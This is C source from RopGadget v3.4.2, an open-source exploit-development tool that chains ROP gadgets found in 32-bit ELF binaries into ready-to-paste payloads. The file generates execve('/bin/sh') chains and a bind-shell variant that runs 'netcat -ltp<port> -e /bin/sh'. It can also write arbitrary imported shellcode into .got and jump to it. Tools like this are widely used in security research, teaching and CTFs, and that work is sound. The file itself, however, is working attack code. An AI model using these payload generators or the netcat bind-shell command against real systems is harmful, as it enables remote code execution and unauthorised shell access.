/*
** RopGadget - Release v3.4.2
** Jonathan Salwan - http://twitter.com/JonathanSalwan
** http://shell-storm.org
** 2012-11-11
**
** This program is free software; you can redistribute it and/or modify
** it under the terms of the GNU General Public License as published by
** the Free Software Foundation; either version 2 of the License, or
** (at your option) any later version.
**
** This program is distributed in the hope that it will be useful,
** but WITHOUT ANY WARRANTY; without even the implied warranty of
** MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
** GNU General Public License for more details.
**
** You should have received a copy of the GNU General Public License
** along with this program; if not, write to the Free Software
** Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
*/
/*
** Make a payload.
** 4 parties:
**
**   1) write "/bin/sh\0" in .data or "/usr/bin/netcat\0" if -bind flag is enable
**   2) registers initialisation
**   3) initialisation of %eax for execve() syscall
**   4) call "int 0x80" or "sysenter"
**
*/

#include "ropgadget.h"

/* linked list for gadgets */
t_list_inst *add_element(t_list_inst *old_element, char *instruction, Elf32_Addr addr)
{
  t_list_inst *new_element;

  new_element = xmalloc(sizeof(t_list_inst));
  new_element->addr        = addr;
  new_element->instruction = xmalloc((strlen(instruction)+1)*sizeof(char));
  strcpy(new_element->instruction, instruction);
  new_element->next        = old_element;

  return (new_element);
}

/* free linked list */
void free_list_inst(t_list_inst *element)
{
  t_list_inst *tmp;

  while (element)
    {
      tmp = element;
      element = tmp->next;
      free(tmp->instruction);
      free(tmp);
    }
}

/* returns addr of instruction */
static Elf32_Addr ret_addr_makecodefunc(t_list_inst *list_ins, char *instruction)
{
  char  *p;

  for (; list_ins; list_ins = list_ins->next)
    for (p = list_ins->instruction; *p != 0; p++)
      if (!match(p, instruction, strlen(instruction)))
        return list_ins->addr;

  return 0;
}

/* returns the numbers of pop in the gadget. */
static int how_many_pop(char *gadget)
{
  int  cpt = 0;
  char *p;

  for (p = gadget; *p != '\0'; p++)
    if (!strncmp(p, "pop", 3))
      cpt++;

  return cpt;
}

/* returns first/second reg in "mov %e?x,(%e?x)" instruction */
static char *get_reg(char *gadget, int first)
{
  char *p;

  p = xmalloc(4 * sizeof(char));
  while (*gadget != '(' && *gadget != '\0')
    gadget++;

  gadget += (first?-4:2);
  strncpy(p, gadget, 3);
  return p;
}

/* returns the numbers of "pop" befor pop_reg */
static int how_many_pop_before(char *gadget, char *pop_reg)
{
  int cpt = 0;

  for (; strncmp(gadget, pop_reg, strlen(pop_reg)) && *gadget != '\0'; gadget++)
    if (!strncmp(gadget, "pop", 3))
      cpt++;

  return cpt;
}

/* returns the numbers of "pop" after pop_reg */
static int how_many_pop_after(char *gadget, char *pop_reg)
{
  int cpt = 0;

  for(; strncmp(gadget, pop_reg, strlen(pop_reg)); gadget++)
    if (*gadget == '\0')
      return 0;

  gadget += strlen(pop_reg);

  for (; *gadget != '\0'; gadget++)
    if (!strncmp(gadget, "pop", 3))
      cpt++;

  return cpt;
}

static void print_quad(char *quad, char *comment)
{
  char tmp[5] = {0};
  strncpy(tmp, quad, 4);
  fprintf(stdout, "\t\t%sp += \"%s\" # %s%s\n", BLUE, tmp, comment, ENDC);
}

/* display padding */
static void display_padding(int i)
{
  for (; i != 0; i--)
    print_quad("AAAA", "padding");
}

static void print_code(int word, char *comment)
{
  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # %s%s\n", BLUE, word, comment, ENDC);
}

static void print_code_padded(int addr, char *asm1, char *asm2)
{
  print_code(addr, asm1);
  display_padding(how_many_pop_before(asm1, asm2));
}

static void print_code_padded1(int addr, char *asm1)
{
  print_code(addr, asm1);
  display_padding(how_many_pop(asm1));
}

static void print_sect_addr(int offset, int data)
{
  char comment[32] = {0};
  sprintf(comment, data?"@ .data + %d":"@ .got + %d", offset);
  print_code((data?Addr_sData:Addr_sGot)+offset, comment);
}

static void print_sect_addr_padded(int offset, int data, char *asm1, char *asm2)
{
  print_sect_addr(offset, data);
  display_padding(how_many_pop_after(asm1, asm2));
}

static void print_quad_padded(char *quad, char *asm1, char *asm2)
{
  print_quad(quad, quad);
  display_padding(how_many_pop_after(asm1, asm2));
}

static void print_string(char *str,
Elf32_Addr addr_pop_stack_gadget, char *pop_stack_gadget, char *reg_stack,
Elf32_Addr addr_pop_binsh_gadget, char *pop_binsh_gadget, char *reg_binsh,
Elf32_Addr addr_mov_gadget, char *mov_gadget,
Elf32_Addr addr_xor_gadget, char *xor_gadget,
int offset_start)
{
  int i;
  int l = strlen(str);

  for (i = 0; i <= l; i+=4)
    {
      print_code_padded(addr_pop_stack_gadget, pop_stack_gadget, reg_stack);
      print_sect_addr_padded(offset_start + i, TRUE, pop_stack_gadget, reg_stack);
      if (i < l)
        {
          print_code_padded(addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh);
          print_quad_padded(str+i, pop_binsh_gadget, reg_binsh);
        }
      else
        {
          print_code_padded1(addr_xor_gadget, xor_gadget);
        }
      print_code_padded1(addr_mov_gadget, mov_gadget);
    }
}

static void print_vector(int *args,
Elf32_Addr addr_pop_stack_gadget, char *pop_stack_gadget, char *reg_stack,
Elf32_Addr addr_pop_binsh_gadget, char *pop_binsh_gadget, char *reg_binsh,
Elf32_Addr addr_mov_gadget, char *mov_gadget,
Elf32_Addr addr_xor_gadget, char *xor_gadget,
int offset_start)
{
  int i;

  for (i = 0; 1; i++)
    {
      print_code_padded(addr_pop_stack_gadget, pop_stack_gadget, reg_stack);
      print_sect_addr_padded(offset_start + 4*i, TRUE, pop_stack_gadget, reg_stack);
      if (args[i] != -1)
        {
          print_code_padded(addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh);
          print_sect_addr_padded(args[i], TRUE, pop_binsh_gadget, reg_binsh);
        }
      else
        {
          print_code_padded1(addr_xor_gadget, xor_gadget);
        }
      print_code_padded1(addr_mov_gadget, mov_gadget);
      if (args[i] == -1)
        return;
    }
}

/* local: partie 1 | write /bin/sh in .data for execve("/bin/sh", NULL, NULL)*/
/* remote: partie 1 bis | write //usr/bin/netcat -ltp6666 -e///bin//sh in .data */
static void makepartie1(t_list_inst *list_ins, int local)
{
  Elf32_Addr addr_mov_gadget;
  Elf32_Addr addr_xor_gadget;
  Elf32_Addr addr_pop_stack_gadget;
  Elf32_Addr addr_pop_binsh_gadget;
  char *mov_gadget;
  char *xor_gadget;
  char *pop_stack_gadget;
  char *pop_binsh_gadget;
  char *first_reg;
  char *second_reg;
  char reg_stack[32] = "pop %";
  char reg_binsh[32] = "pop %";
  char instr_xor[32] = "xor %";


  addr_mov_gadget = ret_addr_makecodefunc(list_ins, "mov %e?x,(%e?x)");
  mov_gadget = get_gadget_since_addr_att(addr_mov_gadget);

  first_reg = get_reg(mov_gadget, 1);
  second_reg = get_reg(mov_gadget, 0);

  strncat(reg_stack, second_reg, 3);
  strncat(reg_binsh, first_reg, 3);
  strncat(instr_xor, first_reg, 3);

  addr_pop_stack_gadget = ret_addr_makecodefunc(list_ins, reg_stack);
  pop_stack_gadget = get_gadget_since_addr_att(addr_pop_stack_gadget);
  addr_pop_binsh_gadget = ret_addr_makecodefunc(list_ins, reg_binsh);
  pop_binsh_gadget = get_gadget_since_addr_att(addr_pop_binsh_gadget);

  addr_xor_gadget = ret_addr_makecodefunc(list_ins, instr_xor);
  xor_gadget = get_gadget_since_addr(addr_xor_gadget);

  fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
  if (local)
    {
      fprintf(stdout, "\t\t%s# execve /bin/sh generated by RopGadget v3.4.2%s\n", BLUE, ENDC);

      print_string("/bin//sh",
        addr_pop_stack_gadget, pop_stack_gadget, reg_stack,
        addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh,
        addr_mov_gadget, mov_gadget,
        addr_xor_gadget, xor_gadget, 0);
    }
  else
    {
      char opts[9] = {0};
      int offsets[] = {0, 17, 26, -1};

      fprintf(stdout, "\t\t%s# execve /bin/sh bindport %d generated by RopGadget v3.4.2%s\n", BLUE, bind_mode.port, ENDC);

      print_string("//usr/bin/netcat",
        addr_pop_stack_gadget, pop_stack_gadget, reg_stack,
        addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh,
        addr_mov_gadget, mov_gadget,
        addr_xor_gadget, xor_gadget, 0);

      sprintf(opts, "-ltp%d", bind_mode.port);

      print_string(opts,
        addr_pop_stack_gadget, pop_stack_gadget, reg_stack,
        addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh,
        addr_mov_gadget, mov_gadget,
        addr_xor_gadget, xor_gadget, 17);

      print_string("-e///bin//sh",
        addr_pop_stack_gadget, pop_stack_gadget, reg_stack,
        addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh,
        addr_mov_gadget, mov_gadget,
        addr_xor_gadget, xor_gadget, 26);

      print_vector(&offsets[0],
        addr_pop_stack_gadget, pop_stack_gadget, reg_stack,
        addr_pop_binsh_gadget, pop_binsh_gadget, reg_binsh,
        addr_mov_gadget, mov_gadget,
        addr_xor_gadget, xor_gadget, 40);
    }
  free(first_reg);
  free(second_reg);
}

/* local: partie 2 init reg => %ebx = "/bin/sh\0" | %ecx = "\0" | %edx = "\0"  for execve("/bin/sh", NULL, NULL)*/
/* remote: partie 2 bis init reg => %ebx = "/usb/bin/netcat\0" | %ecx = arg | %edx = "\0" */
static void makepartie2(t_list_inst *list_ins, int local)
{
  Elf32_Addr addr_pop_ebx;
  Elf32_Addr addr_pop_ecx;
  Elf32_Addr addr_pop_edx;
  char *pop_ebx_gadget;
  char *pop_ecx_gadget;
  char *pop_edx_gadget;

  Elf32_Addr addr_xor_eax;
  Elf32_Addr addr_inc_eax;
  Elf32_Addr addr_int_0x80;
  Elf32_Addr addr_sysenter;
  Elf32_Addr addr_pop_ebp;
  char *pop_ebp_gadget;
  char *xor_eax_gadget;
  char *inc_eax_gadget;
  int i;

  addr_pop_ebx = ret_addr_makecodefunc(list_ins, "pop %ebx");
  addr_pop_ecx = ret_addr_makecodefunc(list_ins, "pop %ecx");
  addr_pop_edx = ret_addr_makecodefunc(list_ins, "pop %edx");
  pop_ebx_gadget = get_gadget_since_addr_att(addr_pop_ebx);
  pop_ecx_gadget = get_gadget_since_addr_att(addr_pop_ecx);
  pop_edx_gadget = get_gadget_since_addr_att(addr_pop_edx);

  addr_xor_eax = ret_addr_makecodefunc(list_ins, "xor %eax,%eax");
  addr_inc_eax = ret_addr_makecodefunc(list_ins, "inc %eax");
  xor_eax_gadget = get_gadget_since_addr_att(addr_xor_eax);
  inc_eax_gadget = get_gadget_since_addr_att(addr_inc_eax);

  addr_int_0x80 = ret_addr_makecodefunc(list_ins, "int $0x80");
  addr_sysenter = ret_addr_makecodefunc(list_ins, "sysenter");
  addr_pop_ebp  = ret_addr_makecodefunc(list_ins, "pop %ebp");
  pop_ebp_gadget = get_gadget_since_addr_att(addr_pop_ebp);

  /* set %ebx */
  print_code_padded(addr_pop_ebx, pop_ebx_gadget, "pop %ebx");
  print_sect_addr_padded(0, TRUE, pop_ebx_gadget, "pop %ebx");

  /* set %ecx */
  print_code_padded(addr_pop_ecx, pop_ecx_gadget, "pop %ecx");
  print_sect_addr_padded(local?8:40, TRUE, pop_ecx_gadget, "pop %ecx");

  /* set %edx */
  print_code_padded(addr_pop_edx, pop_edx_gadget, "pop %edx");
  print_sect_addr_padded(local?8:52, TRUE, pop_edx_gadget, "pop %edx");

  /* set %eax => 0 */
  print_code(addr_xor_eax, xor_eax_gadget);
  display_padding(how_many_pop(xor_eax_gadget));

  /* set %eax => 0xb for sys_execve() */
  for (i = 0; i != 0xb; i++)
    print_code_padded1(addr_inc_eax, inc_eax_gadget);

  if (addr_int_0x80)
    print_code(addr_int_0x80, "int $0x80");
  else if (addr_sysenter)
    {
      print_code(addr_pop_ebp, pop_ebp_gadget);
      print_sect_addr(0, TRUE);
      print_code(addr_sysenter, "sysenter");
    }
}

void makecode(t_list_inst *list_ins)
{
  makepartie1(list_ins, !bind_mode.flag);
  makepartie2(list_ins, !bind_mode.flag);
  fprintf(stdout, "\t%sEOF Payload%s\n", YELLOW, ENDC);
  free_list_inst(list_ins);
}

static int check_opcode_was_found(void)
{
  int i;

  if (!importsc_mode.poctet)
    return FALSE;

  for (i = 0; importsc_mode.poctet->next != NULL; importsc_mode.poctet = importsc_mode.poctet->next)
    i++;

  return (i == importsc_mode.size - 1);
}

/* partie 1 | import shellcode in ROP instruction */
static void makepartie1_importsc(t_list_inst *list_ins, int useless, char *pop_reg)
{
/*
  gad1 pop %e?x
  gad2 mov (%e?x),%e?x
  gad3 mov %e?x,%e?x
  gad4 mov %e?x,(%e?x)
*/

  int i;
  Elf32_Addr addr_gad1;
  Elf32_Addr addr_gad2;
  Elf32_Addr addr_gad3;
  Elf32_Addr addr_gad4;
  char *gad1;
  char *gad2;
  char *gad3;
  char *gad4;
  char comment[32] = {0};

  addr_gad1 = ret_addr_makecodefunc(list_ins, pop_reg);
  gad1      = get_gadget_since_addr(addr_gad1);
  addr_gad2 = ret_addr_makecodefunc(list_ins, "mov (%e?x),%e?x");
  gad2      = get_gadget_since_addr(addr_gad2);
  addr_gad3 = ret_addr_makecodefunc(list_ins, "mov %e?x,%e?x");
  gad3      = get_gadget_since_addr(addr_gad3);
  addr_gad4 = ret_addr_makecodefunc(list_ins, "mov %e?x,(%e?x)");
  gad4      = get_gadget_since_addr(addr_gad4);

  /* check if all opcodes about shellcode was found in .text */
  if (!check_opcode_was_found())
    {
      fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
      fprintf(stdout, "\t%s/!\\ Impossible to generate your shellcode because some opcode was not found.%s\n", RED, ENDC);
      return ;
    }

  fprintf(stdout, "\t%sPayload%s\n", YELLOW, ENDC);
  fprintf(stdout, "\t\t%s# Shellcode imported! Generated by RopGadget v3.4.2%s\n", BLUE, ENDC);

  for (i = 0; i != importsc_mode.size && importsc_mode.poctet != NULL; i++, importsc_mode.poctet = importsc_mode.poctet->back)
    {
      /* pop %edx */
      print_code_padded(addr_gad1, gad1, pop_reg);

      sprintf(comment, "0x%.2x", importsc_mode.poctet->octet);

      print_code(importsc_mode.poctet->addr, comment);
      display_padding(how_many_pop_after(gad1, pop_reg));
      /* mov (%edx),%ecx */
      print_code_padded1(addr_gad2, gad2);
      if (useless < 0)
        {
          /* mov %ecx,%eax */
          print_code_padded1(addr_gad3, gad3);
        }
      /* pop %edx */
      print_code_padded(addr_gad1, gad1, pop_reg);
      print_sect_addr_padded(i, FALSE, gad1, pop_reg);
      /* mov %eax,(%edx) */
      print_code_padded1(addr_gad4, gad4);
    }
  fprintf(stdout, "\t\t%sp += pack(\"<I\", 0x%.8x) # jump to our shellcode in .got%s\n", BLUE,  Addr_sGot , ENDC);
}

void makecode_importsc(t_list_inst *list_ins, int useless, char *pop_reg)
{
  makepartie1_importsc(list_ins, useless, pop_reg);
  fprintf(stdout, "\t%sEOF Payload%s\n", YELLOW, ENDC);
  free_list_inst(list_ins);
}